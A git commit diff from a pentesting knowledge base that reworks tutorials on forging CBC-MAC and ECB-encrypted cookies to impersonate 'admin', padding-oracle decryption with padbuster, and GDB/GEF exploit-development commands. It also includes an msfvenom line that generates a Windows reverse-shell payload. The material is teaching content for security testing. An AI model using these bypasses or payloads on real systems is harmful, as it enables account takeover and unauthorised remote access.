Merge branch 'master' into HAC-pop

This commit is contained in:
Carlos Polop 2021-09-25 15:23:51 +01:00 committed by GitHub
commit 9a9e656f71
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
40 changed files with 1401 additions and 381 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

View File

@ -223,6 +223,7 @@
* [69/UDP TFTP/Bittorrent-tracker](pentesting/69-udp-tftp.md)
* [79 - Pentesting Finger](pentesting/pentesting-finger.md)
* [80,443 - Pentesting Web Methodology](pentesting/pentesting-web/README.md)
* [403 & 401 Bypasses](pentesting/pentesting-web/403-and-401-bypasses.md)
* [AEM - Adobe Experience Cloud](pentesting/pentesting-web/aem-adobe-experience-cloud.md)
* [Apache](pentesting/pentesting-web/apache.md)
* [Artifactory Hacking guide](pentesting/pentesting-web/artifactory-hacking-guide.md)
@ -264,6 +265,7 @@
* [disable\_functions bypass - mod\_cgi](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
* [disable\_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl\_exec](pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
* [Python](pentesting/pentesting-web/python.md)
* [Special HTTP headers](pentesting/pentesting-web/special-http-headers.md)
* [Spring Actuators](pentesting/pentesting-web/spring-actuators.md)
* [Symphony](pentesting/pentesting-web/symphony.md)
* [Tomcat](pentesting/pentesting-web/tomcat.md)
@ -498,7 +500,8 @@
## Reversing
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
* [Angr](reversing/reversing-tools-basic-methods/angr.md)
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
* [Z3 - Satisfiability Modulo Theories \(SMT\)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)

View File

@ -516,6 +516,8 @@ ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```
Another Luks BF tutorial: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
### Mysql
```bash

View File

@ -1,65 +1,54 @@
---
description: 'https://pentesterlab.com/'
---
# Cipher Block Chaining CBC-MAC
**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
## CBC
The easiest attack to test is that if the cookie just the username encrypted.
If the cookie is only the username \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and bruteforce the first byte of the cookie.
If the **cookie** is **only** the **username** \(or the first part of the cookie is the username\) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie.
## CBC-MAC
CBC-MAC is a method to ensure integrity of a message by encrypting it using CBC mode and keeping the last encrypted block as "signature". This ensures that a malicious user can not modify any part of the data without having to change the signature. The key used for the "encryption" ensures that the signature can't be guessed.
In cryptography, a **cipher block chaining message authentication code** \(**CBC-MAC**\) is a technique for constructing a message authentication code from a block cipher. The message is encrypted with some block cipher algorithm in CBC mode to create a **chain of blocks such that each block depends on the proper encryption of the previous block**. This interdependence ensures that a **change** to **any** of the plaintext **bits** will cause the **final encrypted block** to **change** in a way that cannot be predicted or counteracted without knowing the key to the block cipher.
However, when using CBC-MAC, the developer needs to be very careful if the message are not of fixed length. In this example, we will use the fact that there is no protection in place to get the application to sign two messages and build another message by concatenating the two messages.
To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![m\_{1}\\|m\_{2}\\|\cdots \\|m\_{x}](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E:
## Theory
![CBC-MAC structure \(en\).svg](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_%28en%29.svg/570px-CBC-MAC_structure_%28en%29.svg.png)
With CBC-MAC, we can generate two signatures `t` and `t'` for the messages `m` and `m'`. By using `m` and `m'` we can forge another message `m''` that will have the same signature as `m'` \(`t'`\). One thing to keep in mind is that the recommended way to use CBC-MAC is to use a NULL IV.
## Vulnerability
To keep things simple, we are going to work on a single block for each message.
With CBC-MAC usually the **IV used is 0**.
This is a problem because 2 known messages \(`m1` and `m2`\) independently will generate 2 signatures \(`s1` and `s2`\). So:
We can see below how signing both messages works \(NB: both signatures are completely independent from each other\):
* `E(m1 XOR 0) = s1`
* `E(m2 XOR 0) = s2`
![](https://pentesterlab.com/cbc-mac/cbc-mac-1.png)
Then a message composed by m1 and m2 concatenated \(m3\) will generate 2 signatures \(s31 and s32\):
If we try to concatenate those messages, the signature is no longer valid \(since `t` is now the IV for the second block where it was only NULL before\):
* `E(m1 XOR 0) = s31 = s1`
* `E(m2 XOR s1) = s32`
![](https://pentesterlab.com/cbc-mac/cbc-mac-2.png)
**Which is possible to calculate without knowing the key of the encryption.**
However, if we XOR `m'` and `t`, the signature is now `t'`:
Imagine you are encrypting the name **Administrator** in **8bytes** blocks:
![](https://pentesterlab.com/cbc-mac/cbc-mac-3.png)
## Implementation
Based on the size of the signature, we can guess that the block size is likely to be 8. With this information, we will split `administrator`:
* `administ`
* `Administ`
* `rator\00\00\00`
We can trivially generate the signature for the first block, by just logging in and retrieving the signature `t`.
You can create a username called **Administ** \(m1\) and retrieve the key \(s1\).
Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.
now, knowing s1 and s32 you can put them together an generate the encryption of the full name **Administrator**.
For the second block, we want the `m'` XOR `t` to be equal to `rator\00\00\00`. So to generate the second username we will need to XOR `rator\00\00\00` with `t` \(since the application will sign it with a NULL IV instead of `t`\). Once we have this value, we can get the signature `t'`.
#### Summary
Finally, we just need to concatenate `m` and `m'` to get `administrator` and use `t'` as signature.
1. Get the signature of username **Administ** \(m1\) which is s1
2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.**
3. Set the cookie to s1 followed by s32 and it will be a valid cookie for the user **Administrator**.
#### Resume
## Attack Controlling IV
1. Get the signature of username **administ** = **t**
2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
3. Set in the cookie the value **administrator+t'** \(**t'** will be a valid signature of **\(rator\x00\x00\x00 XOR t\) XOR t** = **rator\x00\x00\x00**
If you can control the used IV the attack could be very easy.
If the cookies is just the username encrypted, to impersonate the user "**administrator**" you can create the user "**Administrator**" and you will get it's cookie.
Now, if you can control the IV, you can change the first Byte of the IV so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"** and regenerate the cookie for the user **Administrator.** This cookie will be valid to **impersonate** the user **administrator** with the initial **IV**.
### CBC-MAC simple attack \(controlling IV\)
## References
If you can control the used IV the attack could be very easy.
To impersonate the user "**administrator**" you can create the user "**Administrator**" and you will have the cookie with the **username+signature** and the cookie with the **IV**.
To generate the cookies of the username "**administrator**" change the first cookie and set the username from "**Administrator**" to "**administrator**". Change the first byte of the cookie of the **IV** so **IV\[0\] XOR "A" == IV'\[0\] XOR "a"**. Using these cookies you can login as administrator.
More information in [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikipedia.org/wiki/CBC-MAC)

View File

@ -14,6 +14,11 @@
* [https://hashkiller.co.uk/Cracker/MD5](https://hashkiller.co.uk/Cracker/MD5)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html)
## Magic Autosolvers
* \*\*\*\*[**https://github.com/Ciphey/Ciphey**](https://github.com/Ciphey/Ciphey)\*\*\*\*
* \*\*\*\*[https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) \(Magic module\)
## Encoders
Most of encoded data can be decoded with these 2 ressources:

View File

@ -1,226 +1,73 @@
---
description: 'https://pentesterlab.com/'
---
# Electronic Code Book \(ECB\)
**Post from:** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
## ECB
ECB is an encryption mode in which the message is splitted into blocks of X bytes length and each block is encrypted separetely using a key.
\(ECB\) Electronic Code Book - symmetric encryption scheme which **replaces each block of the clear text** by the **block of ciphertext**. It is the **simplest** encryption scheme. The main idea is to **split** the clear text into **blocks of N bits** \(depends on the size of the block of input data, encryption algorithm\) and then to encrypt \(decrypt\) each block of clear text using the only key.
The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
![](https://assets.pentesterlab.com/ecb/ECB_encryption.png)
![License](https://assets.pentesterlab.com/ecb/ECB_encryption.png)
Using ECB has multiple security implications:
You can check the [recent XKCD on the Adobe's password leak](http://xkcd.com/1286/) to get an humoristic idea of the problems tied to ECB.
During the decryption, the reverse operation is used. Using ECB has multiple security implications:
* Blocks from encrypted message can be removed without disturbing the decryption process.
* Blocks from encrypted message can be moved around without disturbing the decryption process.
In this exercise, we will see how we can exploit these two weaknesses.
* **Blocks from encrypted message can be removed**
* **Blocks from encrypted message can be moved around**
## Detection of the vulnerability
In this exercise, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
Imagine you login into an application several times and you **always get the same cookie**. This is because the cookie of the application is **`<username>|<password>`**.
Then, you generate to new users, both of them with the **same long password** and **almost** the **same** **username**.
You find out that the **blocks of 8B** where the **info of both users** is the same are **equals**. Then, you imagine that this might be because **ECB is being used**.
If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
If we look at the cookie, we can see that it seems uri-encoded and base64-encoded:
![License](https://assets.pentesterlab.com/ecb/cookie.png)
The 2 equals sign encoded as `%3d%3d` are a good indicator of base64-encoded string.
We can decode it using the following ruby code:
Like in the following example. Observe how these **2 decoded cookies** has several times the block **`\x23U\xE45K\xCB\x21\xC8`**
```text
% irb
> require 'base64' ; require 'uri'
=> true
> Base64.decode64(URI.decode("OR9hcp18%2BC1bChK10NlRRg%3d%3d"))
=> "9\x1Far\x9D|\xF8-[\n\x12\xB5\xD0\xD9QF"
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8\x04\xB6\xE1H\xD1\x1E \xB6\x23U\xE45K\xCB\x21\xC8\x23U\xE45K\xCB\x21\xC8+=\xD4F\xF7\x99\xD9\xA9
```
Or by decoding the URI to a string manually and use the base64 command:
This is because the **username and password of those cookies contained several times the letter "a"** \(for example\). The **blocks** that are **different** are blocks that contained **at least 1 different character** \(maybe the delimiter "\|" or some necessary difference in the username\).
```text
% echo "OR9hcp18+C1bChK10NlRRg==" | base64 -D | hexdump -C
0000000 39 1f 61 72 9d 7c f8 2d 5b 0a 12 b5 d0 d9 51 46 |9.ar.|.-[.....QF|
0000010
```
On osX, the command `base64 -D` replaces `base64 -d`
In both cases, we can see that the information seems to be encrypted.
First, we can start by creating two accounts `test1` and `test2` with the same password: `password` and compare the cookies sent by the application. We get the following cookies \(after URI-decoding\):
| Account: | test1 | test2 |
| :--- | :--- | :--- |
| Cookie: | vHMQ+Nq9C3MHT8ZkGeMr4w== | Mh+JMH1OMhcHT8ZkGeMr4w== |
If we base64-decode both cookies, we get the following strings:
| Account: | test1 | test2 |
| :--- | :--- | :--- |
| Decoded cookie: | \xBCs\x10\xF8\xDA\xBD\vs**\aO\xC6d\x19\xE3+\xE3** | 2\x1F\x890}N2\x17**\aO\xC6d\x19\xE3+\xE3** |
We can see that part of the decrypted values look really similar.
Now we can try to create a user with an arbitrary long username and password. For example, a username composed of 20 `a` and a password composed of 20 `a`. By creating this user, we get the following cookie:
```text
> document.cookie
"auth=GkzSM2vKHdcaTNIza8od1wS28inRHiC2GkzSM2vKHdcaTNIza8od1ys96EXmirn5"
```
If we decode this value, we get the following value:
```text
\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
```
We can see that the following pattern \(composed of 8 bytes\): **`\x1AL\xD23k\xCA\x1D\xD7`** comes back multiple times:
```text
\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7\x04\xB6\xF2)\xD1\x1E \xB6\x1AL\xD23k\xCA\x1D\xD7\x1AL\xD23k\xCA\x1D\xD7+=\xE8E\xE6\x8A\xB9\xF9
```
Based on the size of the pattern, we can infer that the ECB encryption uses a block size of 8 bytes.This example is using a weak encryption mechanism and it's likely that real life examples will use bigger block size.
The decoded information also shows us that the username and password are not directly concatenated and that a delimiter is added \(since one of the block in the middle is different from the previous one\).
We can think of the encrypted stream has one of the two following possibilities:
* The stream contains the username, a delimiter and the password:
![Schema username password](https://assets.pentesterlab.com/ecb/del_u_p.png)
* The stream contains the password, a delimiter and the username:
![Schema password username](https://assets.pentesterlab.com/ecb/del_p_u.png)
By creating another user with a long username and a short password, we can see that the following pattern is used: `username|delimiter|password`.
Now let's try to find the size of the delimiter, if we play with different size of username and password we get the following results:
Now, the attacker just need to discover if the format is `<username><delimiter><password>` or `<password><delimiter><username>`. For doing that, he can just **generate several usernames** with s**imilar and long usernames and passwords until he find the format and the length of the delimiter:**
| Username length: | Password length: | Username+Password length: | Cookie's length \(after decoding\): |
| :--- | :--- | :--- | :--- |
| 2 | 3 | 5 | 8 |
| 2 | 2 | 4 | 8 |
| 3 | 3 | 6 | 8 |
| 3 | 4 | 7 | 8 |
| 4 | 4 | 8 | 16 |
| 4 | 5 | 9 | 16 |
We can see that the size of the decoded cookie goes from 8 to 16 bytes when the length of the Username+Password is greater than 7. We can infer from this value that the delimiter is a single byte since the encryption is done per block of 8 bytes.
Another important thing is to see what part of the encrypted stream is used by the application when we send the cookie back. If we remove everything after the block corresponding to the delimiter, we can see that we are still authenticated. The password does not seem to be used when the cookie gets used by the application.
We now know that we just need to get the correct `username|delimiter` to get authenticated within the application as `username`.If you can find what delimiter is used \(or brute force it\), you can try to create a user with a username that contains the delimiter \(for example the username "`admin:`"\). Using this method, you may be able to get logged in as `admin`. This web application prevents this type of attack.
| 7 | 7 | 14 | 16 |
## Exploitation of the vulnerability
### By removing information
### Removing entire blocks
The easiest way to get `admin` access is to remove some of the encrypted data. We know that the application uses the following format:
Knowing the format of the cookie \(`<username>|<password>`\), in order to impersonate the username `admin` create a new user called `aaaaaaaaadmin` and get the cookie and decode it:
```text
\[username\]:\[separator\]
\x23U\xE45K\xCB\x21\xC8\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
and only uses the `username` when the cookie is sent back to the application. We also know that each block of 8 bytes is completely independant \(ECB\). To exploit this issue, we can create a username that contains 8 characters followed by the word `admin`:
We can see the pattern `\x23U\xE45K\xCB\x21\xC8` created previously with the username that contained only `a`.
Then, you can remove the first block of 8B and you will et a valid cookie for the username `admin`:
```text
aaaaaaaaadmin
\xE0Vd8oE\x123\aO\x43T\x32\xD5U\xD4
```
And we will receive the cookie \(retrieved using the Javascript Console\):
### Moving blocks
```text
> document.cookie
"auth=GkzSM2vKHdfgVmQuKXLregdPxmQZ4yvj"
```
In many databases it is the same to search for `WHERE username='admin';` or for `WHERE username='admin ';` _\(Note the extra spaces\)_
This value will get decoded as:
So, another way to impersonate the user `admin` would be to:
```text
\x1AL\xD23k\xCA\x1D\xD7\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
```
* Generate a username that: `len(<username>) + len(<delimiter) % len(block)`. With a block size of `8B` you can generate username called: `username` , with the delimiter `|` the chunk `<username><delimiter>` will generate 2 blocks of 8Bs.
* Then, generate a password that will fill an exact number of blocks containing the username we want to impersonate and spaces, like: `admin`
We can see the pattern `\x1AL\xD23k\xCA\x1D\xD7` detected previously with the username that contained 20 `a`.
The cookie of this user is going to be composed by 3 blocks: the first 2 is the blocks of the username + delimiter and the third one of the password \(which is faking the username\): `username |admin`
We can then remove the first 8 bytes of information and reencode our payload to get a new cookie:
**Then, just replace the first block with the last time and will be impersonating the user `admin`: `admin |username`**
```text
\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3
```
## References
That will get encoded by the following ruby code:
```text
% irb
> require 'cgi'; require 'base64'
=> true
> CGI.escape(Base64.strict_encode64("\xE0Vd.)r\xEBz\aO\xC6d\x19\xE3+\xE3"))
=> "4FZkLily63oHT8ZkGeMr4w%3D%3D"
```
Once you modify the cookie:
![Cookie tampering with JS console](https://assets.pentesterlab.com/ecb/cookiemod.png)
And send this value back to the application \(by reloading the page\), you get logged in as `admin`:
![License](https://assets.pentesterlab.com/ecb/admin.png)
### By swapping blocks around
A more complicated way to bypass this is to swap data around. We can make the assumption that the application will use an SQL query to retrieve information from the user based on his `username`. For some databases, when using the type of data `VARCHAR` \(as opposed to `BINARY` for example\), the following will give the same result:
```text
SELECT * FROM users WHERE username='admin';
```
```text
SELECT * FROM users WHERE username='admin ';
```
The spaces after the value `admin` are ignored during the string comparison. We will use this to play with the encrypted blocks.
Our goal is to end up with the following encrypted data:
```text
ECB(admin [separator]password)
```
We know that our separator is only composed of one byte. We can use this information to create the perfect `username` and `password`to be able to swap the blocks and get the correct forged value.
We need to find a username and a password for which:
* the password starts with `admin` to be used as the new username.
* the encrypted password should be located at the start of a new block.
* the `username+delimiter` length should be divisible by the block size \(from previous conditions\)
By playing around, we can see that the following values work:
* a `username` composed of `password` \(8 bytes\) followed by 7 spaces \(1 byte will be used by the delimiter\).
* a `password` composed of `admin` followed by 3 spaces \(`8 - length("admin")`\).
When creating this user, use a proxy to intercept the request and make sure your browser didn't remove the space characters.
If you create correctly this user, the encrypted information will look like:![License](https://assets.pentesterlab.com/ecb/swap-b.png)
Using some Ruby \(or even with Burp decoder\), you can swap the first 8 bytes with the last 8 bytes to get the following encrypted stream:![License](https://assets.pentesterlab.com/ecb/swap-a.png)
Once you modify your cookie, and you reload the page, you should be logged in as `admin`:
![License](https://assets.pentesterlab.com/ecb/admin.png)
## Conclusion
This exercise showed you how you can tamper encrypted information without decrypting them and use this behaviour to gain access to other accounts. It showed you that encryption can not be used as a replacement to signature and how it's possible to use ECB encryption to get control on the decrypted information. I hope you enjoyed learning with PentesterLab.
* [http://cryptowiki.net/index.php?title=Electronic\_Code\_Book\_\(ECB\)](http://cryptowiki.net/index.php?title=Electronic_Code_Book_%28ECB%29)

View File

@ -1,38 +1,33 @@
---
description: 'https://pentesterlab.com/'
---
# Padding Oracle
**Post from** [**https://pentesterlab.com/**](https://pentesterlab.com/)\*\*\*\*
## CBC - Cipher Block Chaining
## Cipher Block Chaining
CBC is an encryption mode in which the message is split into blocks of X bytes length and each block is XORed with the previous encrypted block. The result is then encrypted.
The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) explains this method:
In CBC, the encryption uses the **previous encrypted block as IV** to XOR with the following block as you can see in the following image taken from [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation):
![CBC encryption](https://assets.pentesterlab.com/padding_oracle/CBC_encryption.png)
During the decryption, the reverse operation is used. The encrypted data is split in block of X bytes. Then the block is decrypted and XORed with the previous encrypted block to get the cleartext. The following schema \(source: [Wikipedia](http://en.wikipedia.org/wiki/Block_cipher_mode_of_operation)\) highlights this behavior:
To decrypt CBC the **opposite** **operations** are done:
![CBC decryption](https://assets.pentesterlab.com/padding_oracle/CBC_decryption.png)
Since the first block does not have a previous block, an initialization vector \(IV\) is used.
Notice how it's needed to use an **encryption** **key** and an **IV**.
## Padding
## Message Padding
As we saw, the encryption is done by blocks of fixed size. To ensure that the cleartext exactly fit in one or multiple blocks, padding is often used. Padding can be done in multiple ways. A common way is to use PKCS7. With PKCS7, the padding will be composed of the same number: the number of bytes missing. For example, if the cleartext is missing 2 bytes, the padding will be `\x02\x02`.
As the encryption is performed in **fixed** **size** **blocks**, **padding** is usually needed in the **last** **block** to complete its length.
Usually **PKCS7** is used, which generates a padding **repeating** the **number** of **bytes** **needed** to **complete** the block. For example, if the last block is missing 3 bytes, the padding will be `\x03\x03\x03`.
Let's look at more examples with a 2 blocks:
Let's look at more examples with a **2 blocks of length 8bytes**:
| Block \#0 | Block \#1 | | | | | | | | | | | | | | |
| Block \#0 | | | | | | | | Block \#1 | | | | | | | |
| :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- | :--- |
| byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 | byte \#0 | byte \#1 | byte \#2 | byte \#3 | byte \#4 | byte \#5 | byte \#6 | byte \#7 |
| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | '3' | **0x02** | **0x02** |
| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | '1' | '2' | **0x03** | **0x03** | **0x03** |
| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | 'R' | 'E' | 'T' | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| 'S' | 'U' | 'P' | 'E' | 'R' | 'S' | 'E' | 'C' | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | 6 | **0x02** | **0x02** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | 4 | 5 | **0x03** | **0x03** | **0x03** |
| P | A | S | S | W | O | R | D | 1 | 2 | 3 | **0x05** | **0x05** | **0x05** | **0x05** | **0x05** |
| P | A | S | S | W | O | R | D | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** | **0x08** |
Note how in the last example the **last block was full so another one was generated only with padding**.
## Padding Oracle
@ -72,54 +67,38 @@ perl ./padBuster.pl http://10.10.181.45/index.php "Nl0OpaQYeGPMJeWSih2iiQ==" 8 -
In **summary**, you can start decrypting the encrypted data by **guessing** the correct **values** that can be used to **create** all the **different paddings**. Then, the padding oracle attack will start **decrypting** bytes **from** the **end** to the start by **guessing** which will be the correct **value** that **creates a padding of 1, 2, 3, etc**.
If we zoom in, we can see that the cleartext byte `C15` is just a XOR between the encrypted byte `E7` from the previous block, and byte `I15` which came out of the block decryption step:
![CBC zoom in](https://assets.pentesterlab.com/padding_oracle/zoomin.png)
This is also valid for all other bytes:
![CBC decryption](https://assets.pentesterlab.com/padding_oracle/CBC_decryption.png)
Imagine you have some encrypted text that occupies **2 blocks** formed by the bytes from **E0 to E15**.
In order to **decrypt** the **last** **block** \(**E8** to **E15**\), the whole block passes through the "block cipher decryption" generating the **intermediary bytes I0 to I15**.
Finally, each intermediary byte is **XORed** with the previos encrypted bytes \(E0 to E7\). So:
* `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6`
* `C13 = I13 ^ E5`
* `C12 = I12 ^ E4`
* `C13 = I13 ^ E5`
* `C12 = I12 ^ E4`
* ...
Now if we modify `E7` and keep changing its value, we will keep getting an invalid padding. Since we need `C15` to be `\x01`. However, there is one value of `E7` that will give us a valid padding. Let's call it `E'7`. With `E'7`, we get a valid padding. And since we know we get a valid padding we know that `C'15` \(as in `C15` for `E'7`\) is `\x01`.
Now, It's possible to **modify `E7` until `C15` is `0x01`**, which will also be a correct padding. So, in this case: `\x01 = I15 ^ E'7`
`\x01 = I15 ^ E'7`
So, finding E'7, it's **possible to calculate I15**: `I15 = 0x01 ^ E'7`
The gives us:
Which allow us to **calculate C15**: `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
`I15 = \x01 ^ E'7`
Knowing **C15**, now it's possible to **calculate C14**, but this time brute-forcing the padding `\x02\x02`.
So we are able to compute `I15`.
This BF is as complex as the previous one as it's possible to calculate the the `E''15` whose value is 0x02: `E''7 = \x02 ^ I15` so it's just needed to find the **`E'14`** that generates a **`C14` equals to `0x02`**.
Then, do the same steps to decrypt C14: **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
Since we know `I15`, we can now compute `C15`
`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
Now that we have `C15`, we can move to brute-forcing `C14`. First we need to compute another `E7` \(let's call it `E''7`\) that gives us `C15 = \x02`. We need to do that since we want the padding to be `\x02\x02` now. It's really simple to compute using the property above and by replacing the value of `C15` we want \(`\x02`\) and `I15` we now know:
`E''7 = \x02 ^ I15`
After brute force `E6`, to find the value that gives us a valid padding `E''6`, we can re-use the formula:
`C14 = I14 ^ E6`
to get
`I14 = \x02 ^ E''6`
Once we get `I14`, we can compute `C14`:
`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`
Using this method, we can keep going until we get all the ciphertext decrypted.
**Follow this chain until you decrypt the whole encrypted text.**
### Detection of the vulnerability
To get started, you can register an account and log in with this account \(to make things easier, you get automatically logged in when you register\).
Register and account and log in with this account .
If you **log in many times** and always get the **same cookie**, there is probably **something** **wrong** in the application. The **cookie sent back should be unique** each time you log in. If the cookie is **always** the **same**, it will probably always be valid and there **won't be anyway to invalidate i**t.
If you create an account and log in two times with this account, you can see that the cookie sent by the application didn't change.If you log in many times and always get the same cookie, there is probably something wrong in the application. The cookie sent back should be unique each time you log in. If the cookie is always the same, it will probably always be valid and there won't be anyway to invalidate it.
Now, if you try to modify the cookie, you can see that you get an error from the application.
Now, if you try to **modify** the **cookie**, you can see that you get an **error** from the application.
But if you BF the padding \(using padbuster for example\) you manage to get another cookie valid for a different user. This scenario is highly probably vulnerable to padbuster.

View File

@ -18,19 +18,21 @@ msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread]
## GDB
### Install:
### Install
```text
apt-get install gdb
```
### Parameters:
**-q** --&gt; No muestra mierda inicial al ejecutar gdb
**-x &lt;file&gt;** --&gt; le pasas un archivo con instrucciones de gdb que ejecutará al inicio
**-q** --&gt; No show banner
**-x &lt;file&gt;** --&gt; Auto-execute GDB instructions from here
**-p &lt;pid&gt;** --&gt; Attach to process
#### Instructions
&gt; **disassemble main** --&gt; Dissasemble the function
&gt; **disassemble main** --&gt; Disassemble the function
&gt; **disassemble 0x12345678**
&gt; **set disassembly-flavor intel**
&gt; **set follow-fork-mode child/parent** --&gt; Follow created process
@ -71,16 +73,27 @@ apt-get install gdb
* **x/xw &pointer** --&gt; Address where the poiniter is located
* **x/i $eip**&gt; Instructions of the EIP
### Peda
### [GEF](https://github.com/hugsy/gef)
**shellcode generate** x86/linux bindport 5555 127.0.0.1
**shellcode generate** x86/linux connect 5555 127.0.0.1
**checksec** --&gt; Check protections
**searchmem /bin/sh** --&gt; Find that string \(/bin/sh\) inside the memory
```bash
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
### GDB server
gdbserver --multi 0.0.0.0:23947 \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
`gdbserver --multi 0.0.0.0:23947` \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
## GCC
@ -126,7 +139,7 @@ nasm -f elf assembly.asm** --&gt; return a ".o"
## **Inmunity debugger**
```text
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
@ -145,21 +158,3 @@ Inside the IDA folder you can find binaries that can be used to debug a binary i
![](../../.gitbook/assets/image%20%28112%29.png)
### **Delphi binaries**
I you have to reverse a Delphi binary I would suggest you tu use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)\*\*\*\*
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
This plugin will execute the binary and resolve functoin names dynamically att the start of the debugging. After starting the debugging press again the Start button \(the green one or f9\) and a breakpoint will hit in the begining of the real code.
It is also very interesting because if you press a boton in the graphic application the debugger will stop in the function executed by that bottom.
### Golang binaries
I you have to reverse a Golang binary I would suggest you tu use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
This will resolve the names of the functions.

View File

@ -344,6 +344,15 @@ As you can see there is a lot of different vulnerabilities to search for.
**If you have find any vulnerability thanks to this book, please reference the book in your write-up.**
## **Automatic Tools**
There are several tools out there that will perform part of the proposed actions against a given scope.
* \*\*\*\*[**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)\*\*\*\*
* \*\*\*\*[**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)\*\*\*\*
* \*\*\*\*[**https://github.com/six2dez/reconftw**](https://github.com/six2dez/reconftw)\*\*\*\*
